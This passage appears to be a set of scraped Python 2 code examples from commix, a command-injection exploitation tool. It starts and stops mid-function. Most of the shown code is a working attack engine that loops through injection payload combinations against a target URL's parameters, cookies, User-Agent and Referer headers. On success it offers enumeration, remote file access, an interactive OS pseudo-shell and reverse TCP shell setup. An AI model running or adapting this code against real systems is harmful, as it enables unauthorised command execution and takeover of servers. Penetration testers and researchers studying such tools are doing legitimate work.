                                            return False
                                        else:
                                            return True

                                elif gotshell in settings.CHOICE_QUIT:
                                    sys.exit(0)

                                else:
                                    err_msg = "'" + gotshell + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                                break

    if no_result == True:
        if settings.VERBOSITY_LEVEL == 0:
            print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Esempio n. 8
0
def cb_injection_handler(url, delay, filename, http_request_method):
  
  counter = 1
  vp_flag = True
  no_result = True
  is_encoded= False
  export_injection_info = False

  injection_type = "Results-based Command Injection"
  technique = "classic injection technique"
      
  sys.stdout.write("(*) Testing the "+ technique + "... ")
  sys.stdout.flush()
  
  i = 0
  # Calculate all possible combinations
  total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  for whitespace in settings.WHITESPACES:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:
          i = i + 1

          # Check for bad combination of prefix and separator
          combination = prefix + separator
          if combination in settings.JUNK_COMBINATION:
            prefix = ""

          # Change TAG on every request to prevent false-positive results.
          TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
          
          randv1 = random.randrange(100)
          randv2 = random.randrange(100)
          randvcalc = randv1 + randv2
          
          # Define alter shell
          alter_shell = menu.options.alter_shell
        
          try:
            if alter_shell:
              # Classic -alter shell- decision payload (check if host is vulnerable).
              payload = cb_payloads.decision_alter_shell(separator, TAG, randv1, randv2)
            else:
              # Classic decision payload (check if host is vulnerable).
              payload = cb_payloads.decision(separator, TAG, randv1, randv2)
            
            # Define prefixes & suffixes
            payload = parameters.prefixes(payload, prefix)
            payload = parameters.suffixes(payload, suffix)

            if menu.options.base64:
              payload = urllib.unquote(payload)
              payload = base64.b64encode(payload)
            else:
              if separator == " " :
                payload = re.sub(" ", "%20", payload)
              else:
                payload = re.sub(" ", whitespace, payload)

            # Check if defined "--verbose" option.
            if menu.options.verbose:
              sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL)
              
            # if need page reload
            if menu.options.url_reload:
              time.sleep(delay)
              response = urllib.urlopen(url)

            # Cookie Injection
            if settings.COOKIE_INJECTION == True:
              # Check if target host is vulnerable to cookie injection.
              vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
              response = cb_injector.cookie_injection_test(url, vuln_parameter, payload)
              
            # User-Agent Injection
            elif settings.USER_AGENT_INJECTION == True:
              # Check if target host is vulnerable to user-agent injection.
              vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
              response = cb_injector.user_agent_injection_test(url, vuln_parameter, payload)

            # Referer Injection
            elif settings.REFERER_INJECTION == True:
              # Check if target host is vulnerable to referer injection.
              vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
              response = cb_injector.referer_injection_test(url, vuln_parameter, payload)

            else:
              # Check if target host is vulnerable.
              response, vuln_parameter = cb_injector.injection_test(payload, http_request_method, url)

            # Evaluate test results.
            shell = cb_injector.injection_test_results(response, TAG, randvcalc)

            if not menu.options.verbose:
              percent = ((i*100)/total)
              float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))
            
              if shell == False:
                sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + float_percent +"%" + " ]")  
                sys.stdout.flush()

              if percent == 100:
                if no_result == True:
                  percent = Fore.RED + "FAILED" + Style.RESET_ALL
                else:
                  percent = str(float_percent)+"%"
              elif len(shell) != 0:
                percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
              else:
                percent = str(float_percent)+"%"
              sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
              sys.stdout.flush()
              
          except KeyboardInterrupt: 
            raise

          except SystemExit: 
            raise

          except:
            continue
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False

            if settings.COOKIE_INJECTION == True: 
              header_name = " Cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " HTTP header"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:    
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1
            
            # Print the findings to terminal.
            print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
            print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
            print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
            print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", re.sub("%2B", "+",payload)) + Style.RESET_ALL
            
            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True :
              while True:
                enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
                if enumerate_again in settings.CHOISE_YES:
                  cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                  break
                elif enumerate_again in settings.CHOISE_NO: 
                  break
                elif enumerate_again in settings.CHOISE_QUIT:
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                  pass
            else:
              cb_enumeration.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              while True:
                file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
                if file_access_again in settings.CHOISE_YES:
                  if not menu.options.verbose:
                    print ""
                  cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                  break
                elif file_access_again in settings.CHOISE_NO: 
                  break
                elif file_access_again in settings.CHOISE_QUIT:
                  sys.exit(0)
                else:
                  if file_access_again == "":
                    file_access_again  = "enter"
                  print Back.RED + "(x) Error: '" + file_access_again  + "' is not a valid answer." + Style.RESET_ALL
                  pass
            else:
              cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)

            # Check if defined single cmd.
            if menu.options.os_cmd:
              cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)

            # Pseudo-Terminal shell
            go_back = False
            go_back_again = False
            while True:
              if go_back == True:
                break
              gotshell = raw_input("(?) Do you want a Pseudo-Terminal shell? [Y/n/q] > ").lower()
              if gotshell in settings.CHOISE_YES:
                print ""
                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                while True:
                  try:
                    # Tab compliter
                    readline.set_completer(menu.tab_completer)
                    readline.parse_and_bind("tab: complete")
                    cmd = raw_input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
                    cmd = checks.escaped_cmd(cmd)
                    if cmd.lower() in settings.SHELL_OPTIONS:
                      os_shell_option = checks.check_os_shell_options(cmd.lower(), technique, go_back, no_result) 
                      if os_shell_option == False:
                        return False
                      elif os_shell_option == "quit":                    
                        sys.exit(0)
                      elif os_shell_option == "back":
                        go_back = True
                        break
                      elif os_shell_option == "os_shell": 
                        print Fore.YELLOW + "(^) Warning: You are already into the 'os_shell' mode." + Style.RESET_ALL + "\n"
                      elif os_shell_option == "reverse_tcp":
                        # Set up LHOST / LPORT for The reverse TCP connection.
                        lhost, lport = reverse_tcp.configure_reverse_tcp()
                        while True:
                          if lhost and lport in settings.SHELL_OPTIONS:
                            result = checks.check_reverse_tcp_options(lhost)
                          else:  
                            cmd = reverse_tcp.reverse_tcp_options(lhost, lport)
                            result = checks.check_reverse_tcp_options(cmd)
                          if result != None:
                            if result == 0:
                              return False
                            elif result == 1 or result == 2:
                              go_back_again = True
                              break
                          # Command execution results.
                          response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                          # Evaluate injection results.
                          shell = cb_injector.injection_results(response, TAG)
                          if menu.options.verbose:
                            print ""
                          print Back.RED + "(x) Error: The reverse TCP connection to the target host has been failed!" + Style.RESET_ALL
                      else:
                        pass
                    else:
                      # Command execution results.
                      response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
                      
                      # if need page reload
                      if menu.options.url_reload:
                        time.sleep(delay)
                        response = urllib.urlopen(url)
                        
                      # Evaluate injection results.
                      shell = cb_injector.injection_results(response, TAG)
                      if shell:
                        shell = "".join(str(p) for p in shell)
                        html_parser = HTMLParser.HTMLParser()
                        shell = html_parser.unescape(shell)
                        if shell != "":
                          print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                        else:
                          if menu.options.verbose:
                            print ""
                          print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"

                  except KeyboardInterrupt: 
                    raise
                    
                  except SystemExit: 
                    raise

              elif gotshell in settings.CHOISE_NO:
                if checks.next_attack_vector(technique, go_back) == True:
                  break
                else:
                  if no_result == True:
                    return False 
                  else:
                    return True  

              elif gotshell in settings.CHOISE_QUIT:
                sys.exit(0)

              else:
                if gotshell == "":
                  gotshell = "enter"
                print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL
                pass
                
  if no_result == True:
    print ""
    return False
  else :
    sys.stdout.write("\r")
    sys.stdout.flush()
Esempio n. 9
0
def do_check(url, filename):

  classic_state = False
  eval_based_state = False
  time_based_state = False
  file_based_state = False

  # Check if defined "--delay" option.
  if menu.options.delay:
    delay = menu.options.delay
  else:
    delay = settings.DELAY

  # Do authentication if needed.
  if menu.options.auth_url and menu.options.auth_data:
    authentication.auth_process()      
  elif menu.options.auth_url or menu.options.auth_data: 
    print Back.RED + "(x) Error: You must specify both login panel URL and login parameters.\n" + Style.RESET_ALL
    sys.exit(0)
  else:
    pass
  
  # Check if HTTP Method is GET or POST.
  header_name = ""
  if not menu.options.data:
    http_request_method = "GET"
    check_parameter  = parameters.vuln_GET_param(url)
    the_type = " parameter "

  else:
    http_request_method = "POST"
    parameter = menu.options.data
    check_parameter = parameters.vuln_POST_param(parameter, url)
    the_type = " parameter " 

  # Load modules
  modules_handler.load_modules(url, http_request_method, filename)

  # Cookie Injection
  if settings.COOKIE_INJECTION == True:
    header_name = " Cookie"
    check_parameter  = parameters.specify_cookie_parameter(menu.options.cookie)
    the_type = " HTTP header "
            
  # User-Agent Injection
  elif settings.USER_AGENT_INJECTION == True:
    header_name = " User-Agent"
    check_parameter  = ""
    the_type = " HTTP header "

  # Referer Injection
  elif settings.REFERER_INJECTION == True:
    header_name = " Referer"
    check_parameter  = ""
    the_type = " HTTP header "

  else : 
    pass

  if len(check_parameter) != 0 :
    check_parameter = " '" + check_parameter + "'"

  print "(*) Setting the " + "(" + http_request_method + ")" + check_parameter + header_name + the_type + "for tests."

  # Estimating the response time (in seconds)
  delay, url_time_response = requests.estimate_response_time(url, delay)

  # Check all injection techniques
  if not menu.options.tech:
    # Check if it is vulnerable to classic command injection technique.
    if cb_handler.exploitation(url, delay, filename, http_request_method) != False:
      classic_state = True

    # Check if it is vulnerable to eval-based command injection technique.
    if eb_handler.exploitation(url, delay, filename, http_request_method) != False:
      eval_based_state = True

    # Check if it is vulnerable to time-based blind command injection technique.
    if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
      time_based_state = True

    # Check if it is vulnerable to file-based semiblind command injection technique.
    if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
      file_based_state = True

  else:
    # Check if it is vulnerable to classic command injection technique.
    if "classic" in menu.options.tech or len(menu.options.tech) <= 4 and "c" in menu.options.tech:
      # Check if classic results-based command injection technique succeeds.
      if cb_handler.exploitation(url, delay, filename, http_request_method) != False:
        classic_state = True
    elif menu.options.tech == "classic":
      cb_handler.exploitation(url, delay, filename, http_request_method)
    else:
      classic_state = False

    # Check if it is vulnerable to eval-based command injection technique.
    if "eval-based" in menu.options.tech or len(menu.options.tech) <= 4 and "e" in menu.options.tech:
      # Check if eval-based command injection technique succeeds.
      if eb_handler.exploitation(url, delay, filename, http_request_method) != False:
        eval_based_state = True
    elif menu.options.tech == "eval-based":
      eb_handler.exploitation(url, delay, filename, http_request_method)
    else:
      eval_based_state = False

    # Check if it is vulnerable to time-based blind command injection technique.
    if "time-based" in menu.options.tech or len(menu.options.tech) <= 4 and "t" in menu.options.tech:
      # Check if time-based blind command injection technique succeeds.
      if tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
        time_based_state = True
    elif menu.options.tech == "time-based":
      tb_handler.exploitation(url, delay, filename, http_request_method, url_time_response)
    else:
      time_based_state = False

    # Check if it is vulnerable to file-based semiblind command injection technique.
    if "file-based" in menu.options.tech or len(menu.options.tech) <= 4 and "f" in menu.options.tech:
       # Check if file-based semiblind command injection technique succeeds.
      if fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response) != False:
        file_based_state = True
    elif menu.options.tech == "file-based":
      fb_handler.exploitation(url, delay, filename, http_request_method, url_time_response)
    else:
      file_based_state = False

  if classic_state == False and eval_based_state == False and time_based_state == False and file_based_state == False :
    if http_request_method == "GET":
      print Back.RED + "(x) The url '"+ url +"' appear to be not injectable." + Style.RESET_ALL
    else:
      print Back.RED + "(x) The '"+ parameter +"' parameter appear to be not injectable." + Style.RESET_ALL
  else:
    logs.logs_notification(filename)
  sys.exit(0)
  
#eof
Esempio n. 10
0
def fb_injection_handler(url, delay, filename, http_request_method, url_time_response):

  counter = 1
  vp_flag = True
  exit_loops = False
  no_result = True
  is_encoded = False
  stop_injection = False
  call_tmp_based = False
  next_attack_vector = False
  export_injection_info = False
  injection_type = "semi-blind command injection"
  technique = "file-based injection technique"

  # Set temp path 
  if settings.TARGET_OS == "win":
    if "microsoft-iis" in settings.SERVER_BANNER.lower():
      settings.TMP_PATH = "C:\\Windows\TEMP\\"
    else:
      settings.TMP_PATH = "%temp%\\"
  else:
    settings.TMP_PATH = "/tmp/"

  if menu.options.tmp_path:
    tmp_path = menu.options.tmp_path
  else:
    tmp_path = settings.TMP_PATH

  if settings.DEFAULT_SRV_ROOT_DIR != settings.SRV_ROOT_DIR:
    settings.SRV_ROOT_DIR = settings.DEFAULT_SRV_ROOT_DIR

  if menu.options.file_dest and '/tmp/' in menu.options.file_dest:
    call_tmp_based = True
  else:
    if menu.options.srv_root_dir:
      settings.SRV_ROOT_DIR = menu.options.srv_root_dir
    else:

      # Debian/Ubunt have been updated to use /var/www/html as default instead of /var/www.
      if "apache" in settings.SERVER_BANNER.lower():
        if "debian" or "ubuntu" in settings.SERVER_BANNER.lower():
          try:
            check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
            if check_version[0] > "2.3" and not settings.TARGET_OS == "win":
              # Add "/html" to servers root directory
              settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
            else:
              settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR 
          except IndexError:
            pass
        # Add "/html" to servers root directory
        elif "fedora" or "centos" in settings.SERVER_BANNER.lower():
          settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
        else:
          pass

      # On more recent versions (>= "1.2.4") the default root path has changed to "/usr/share/nginx/html"
      elif "nginx" in settings.SERVER_BANNER.lower():
        try:
          check_version = re.findall(r"/(.*)\.", settings.SERVER_BANNER.lower())
          if check_version[0] >= "1.2.4":
            # Add "/html" to servers root directory
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/html"
          else:
            # Add "/www" to servers root directory
            settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + "/www"
        except IndexError:
          pass
      elif "microsoft-iis" in settings.SERVER_BANNER.lower():
        pass
      else:
        # Provide custom server's root directory.
        custom_srv_root_dir()

      path = urlparse.urlparse(url).path
      path_parts = path.split('/')
      count = 0
      for part in path_parts:        
        count = count + 1
      count = count - 1
      last_param = path_parts[count]
      EXTRA_DIR = path.replace(last_param, "")
      settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR + EXTRA_DIR
      if settings.TARGET_OS == "win":
        settings.SRV_ROOT_DIR = settings.SRV_ROOT_DIR.replace("/","\\")

    if not settings.LOAD_SESSION or settings.RETEST == True: 
      info_msg = "Trying to create a file in '" + settings.SRV_ROOT_DIR + "'... "
      print settings.print_info_msg(info_msg)

  i = 0
  TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) 
  # Calculate all possible combinations
  total = len(settings.WHITESPACE) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
  # Check if defined alter shell
  alter_shell = menu.options.alter_shell
  for whitespace in settings.WHITESPACE:
    for prefix in settings.PREFIXES:
      for suffix in settings.SUFFIXES:
        for separator in settings.SEPARATORS:

          # If a previous session is available.
          if settings.LOAD_SESSION and session_handler.notification(url, technique):
            url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
            checks.check_for_stored_tamper(payload)
            OUTPUT_TEXTFILE = TAG + ".txt"
            if technique == "tempfile-based injection technique":
              #settings.LOAD_SESSION = True
              tfb_handler.exploitation(url, delay, filename, tmp_path, http_request_method, url_time_response)

          if settings.RETEST == True:
            settings.RETEST = False
            from src.core.injections.results_based.techniques.classic import cb_handler
            cb_handler.exploitation(url, delay, filename, http_request_method)
   
          if not settings.LOAD_SESSION:
            i = i + 1
            # The output file for file-based injection technique.
            OUTPUT_TEXTFILE = TAG + ".txt"    
            # Check for bad combination of prefix and separator
            combination = prefix + separator
            if combination in settings.JUNK_COMBINATION:
              prefix = ""

            try:
              # File-based decision payload (check if host is vulnerable).
              if alter_shell :
                payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE)
              else:
                payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE)
                      
              # Check if defined "--prefix" option.
              # Fix prefixes / suffixes
              payload = parameters.prefixes(payload, prefix)
              payload = parameters.suffixes(payload, suffix)

              # Whitespace fixation
              payload = re.sub(" ", whitespace, payload)

              if settings.TAMPER_SCRIPTS['base64encode']:
                from src.core.tamper import base64encode
                payload = base64encode.encode(payload)

              # Check if defined "--verbose" option.
              if settings.VERBOSITY_LEVEL >= 1:
                payload_msg = payload.replace("\n", "\\n")
                print settings.print_payload(payload_msg)

              # Cookie Injection
              if settings.COOKIE_INJECTION == True:
                # Check if target host is vulnerable to cookie injection.
                vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
                response = fb_injector.cookie_injection_test(url, vuln_parameter, payload)

              # User-Agent Injection
              elif settings.USER_AGENT_INJECTION == True:
                # Check if target host is vulnerable to user-agent injection.
                vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
                response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload)          

              # Referer Injection
              elif settings.REFERER_INJECTION == True:
                # Check if target host is vulnerable to referer injection.
                vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
                response = fb_injector.referer_injection_test(url, vuln_parameter, payload)

              # Custom HTTP header Injection
              elif settings.CUSTOM_HEADER_INJECTION == True:
                # Check if target host is vulnerable to custom http header injection.
                vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
                response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload)

              else:
                # Check if target host is vulnerable.
                response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url)

              # Find the directory.
              output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, delay)
              time.sleep(delay)
              
              try:
                # Check if defined extra headers.
                request = urllib2.Request(output)
                headers.do_check(request)
                
                # Evaluate test results.
                output = urllib2.urlopen(request)
                html_data = output.read()
                shell = re.findall(r"" + TAG + "", html_data)

                if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL >= 1:
                  percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                  info_msg = "Testing the " + technique + "... [ " + percent + " ]"
                  sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                  sys.stdout.flush()

                if len(shell) == 0 :
                  # delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  # if settings.VERBOSITY_LEVEL >= 1:
                  #   print ""
                  raise urllib2.HTTPError(url, 404, 'Error', {}, None)

              except urllib2.HTTPError, e:
                  if e.getcode() == 404:
                    percent = ((i*100)/total)
                    float_percent = "{0:.1f}".format(round(((i*100)/(total*1.0)),2))

                    if call_tmp_based == True:
                      exit_loops = True
                      tmp_path = os.path.split(menu.options.file_dest)[0] + "/"
                      tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                      raise
                      
                    # Show an error message, after N failed tries.
                    # Use the "/tmp/" directory for tempfile-based technique.
                    elif i == settings.FAILED_TRIES and no_result == True :
                      warn_msg = "It seems that you don't have permissions to "
                      warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."  
                      sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
                      print ""
                      while True:
                        question_msg = "Do you want to try the temporary directory (" + tmp_path + ") [Y/n/q] > "
                        sys.stdout.write(settings.print_question_msg(question_msg))
                        tmp_upload = sys.stdin.readline().replace("\n","").lower()
                        if tmp_upload in settings.CHOICE_YES:
                          exit_loops = True
                          settings.TEMPFILE_BASED_STATE = True
                          call_tfb = tfb_controller(no_result, url, delay, filename, tmp_path, http_request_method, url_time_response)
                          if call_tfb != False:
                            return True
                          else:
                            if no_result == True:
                              return False
                            else:
                              return True
                        elif tmp_upload in settings.CHOICE_NO:
                          break
                        elif tmp_upload in settings.CHOICE_QUIT:
                          print ""
                          raise
                        else:
                          if tmp_upload == "":
                            tmp_upload = "enter"
                          err_msg = "'" + tmp_upload + "' is not a valid answer."  
                          print settings.print_error_msg(err_msg)
                          pass
                      continue
                    
                    else:
                      if exit_loops == False:
                        if not settings.VERBOSITY_LEVEL >= 1:
                          if str(float_percent) == "100.0":
                            if no_result == True:
                              percent = Fore.RED + "FAILED" + Style.RESET_ALL
                            else:
                              percent = str(float_percent)+ "%"
                          else:
                            percent = str(float_percent)+ "%"

                          info_msg = "Testing the " + technique + "... [ " + percent + " ]"
                          sys.stdout.write("\r" + settings.print_info_msg(info_msg))
                          sys.stdout.flush()
                          continue
                        else:
                          continue
                      else:
                        raise
                    
                  elif e.getcode() == 401:
                    err_msg = "Authorization required!"
                    print settings.print_critical_msg(err_msg) + "\n"
                    sys.exit(0)
                    
                  elif e.getcode() == 403:
                    err_msg = "You don't have permission to access this page."
                    print settings.print_critical_msg(err_msg) + "\n"
                    sys.exit(0)
              
            except KeyboardInterrupt:
              if settings.VERBOSITY_LEVEL >= 1:
                print ""
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except SystemExit: 
              if 'vuln_parameter' in locals():
                # Delete previous shell (text) files (output)
                delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              raise

            except urllib2.URLError, e:
              warn_msg = "It seems that you don't have permissions to "
              warn_msg += "read and/or write files in '" + settings.SRV_ROOT_DIR + "'."
              sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
              print ""
              # Provide custom server's root directory.
              custom_srv_root_dir()
              continue
            
            except:
              raise
          
          # Yaw, got shellz! 
          # Do some magic tricks!
          if shell:
            found = True
            no_result = False

            if not settings.VERBOSITY_LEVEL >= 1 and \
               not menu.options.alter_shell and \
               not next_attack_vector:
              next_attack_vector = True

            if settings.COOKIE_INJECTION == True: 
              header_name = " cookie"
              found_vuln_parameter = vuln_parameter
              the_type = " parameter"

            elif settings.USER_AGENT_INJECTION == True: 
              header_name = " User-Agent"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.REFERER_INJECTION == True: 
              header_name = " Referer"
              found_vuln_parameter = ""
              the_type = " HTTP header"

            elif settings.CUSTOM_HEADER_INJECTION == True: 
              header_name = " " + settings.CUSTOM_HEADER_NAME
              found_vuln_parameter = ""
              the_type = " HTTP header"

            else:
              header_name = ""
              the_type = " parameter"
              if http_request_method == "GET":
                found_vuln_parameter = parameters.vuln_GET_param(url)
              else :
                found_vuln_parameter = vuln_parameter

            if len(found_vuln_parameter) != 0 :
              found_vuln_parameter = " '" +  found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'" 

            # Print the findings to log file.
            if export_injection_info == False:
              export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
            if vp_flag == True:
              vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
            logs.update_payload(filename, counter, payload) 
            counter = counter + 1

            if not settings.VERBOSITY_LEVEL >= 1 and not settings.LOAD_SESSION:
              print ""

            # Print the findings to terminal.
            success_msg = "The"
            if found_vuln_parameter == " ": 
              success_msg += http_request_method + "" 
            success_msg += the_type + header_name
            success_msg += found_vuln_parameter + " seems injectable via "
            success_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
            print settings.print_success_msg(success_msg)
            print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub("%20", " ", payload.replace("\n", "\\n")) + Style.RESET_ALL
            # Export session
            if not settings.LOAD_SESSION:
              session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, delay=0, how_long=0, output_length=0, is_vulnerable="True")
            else:
              whitespace = settings.WHITESPACE[0]
              settings.LOAD_SESSION = False 

            # Check for any enumeration options.
            if settings.ENUMERATION_DONE == True :
              while True:
                question_msg = "Do you want to enumerate again? [Y/n/q] > "
                enumerate_again = raw_input("\n" + settings.print_question_msg(question_msg)).lower()
                if enumerate_again in settings.CHOICE_YES:
                  fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  print ""
                  break
                elif enumerate_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if enumerate_again == "":
                    enumerate_again = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.enumeration_options():
                fb_enumeration.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
           
            if not menu.file_access_options() and not menu.options.os_cmd:
              if not settings.VERBOSITY_LEVEL >= 1:
                print ""

            # Check for any system file access options.
            if settings.FILE_ACCESS_DONE == True :
              if settings.ENUMERATION_DONE != True:
                print ""
              while True:
                question_msg = "Do you want to access files again? [Y/n/q] > "
                sys.stdout.write(settings.print_question_msg(question_msg))
                file_access_again = sys.stdin.readline().replace("\n","").lower()
                if file_access_again in settings.CHOICE_YES:
                  fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  print ""
                  break
                elif file_access_again in settings.CHOICE_NO: 
                  break
                elif file_access_again in settings.CHOICE_QUIT:
                  # Delete previous shell (text) files (output)
                  delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
                  sys.exit(0)
                else:
                  if file_access_again == "":
                    file_access_again  = "enter"
                  err_msg = "'" + enumerate_again + "' is not a valid answer."
                  print settings.print_error_msg(err_msg)
                  pass
            else:
              if menu.file_access_options():
                if not menu.enumeration_options():
                  print ""
              fb_file_access.do_check(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              #print ""
               
            # Check if defined single cmd.
            if menu.options.os_cmd:
              # if not menu.file_access_options():
              #   print ""
              fb_enumeration.single_os_cmd_exec(separator, payload, TAG, delay, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              # Delete previous shell (text) files (output)
              delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
              sys.exit(0)

            try:
              # Pseudo-Terminal shell
              go_back = False
              go_back_again = False
              while True:
                # Delete previous shell (text) files (output)
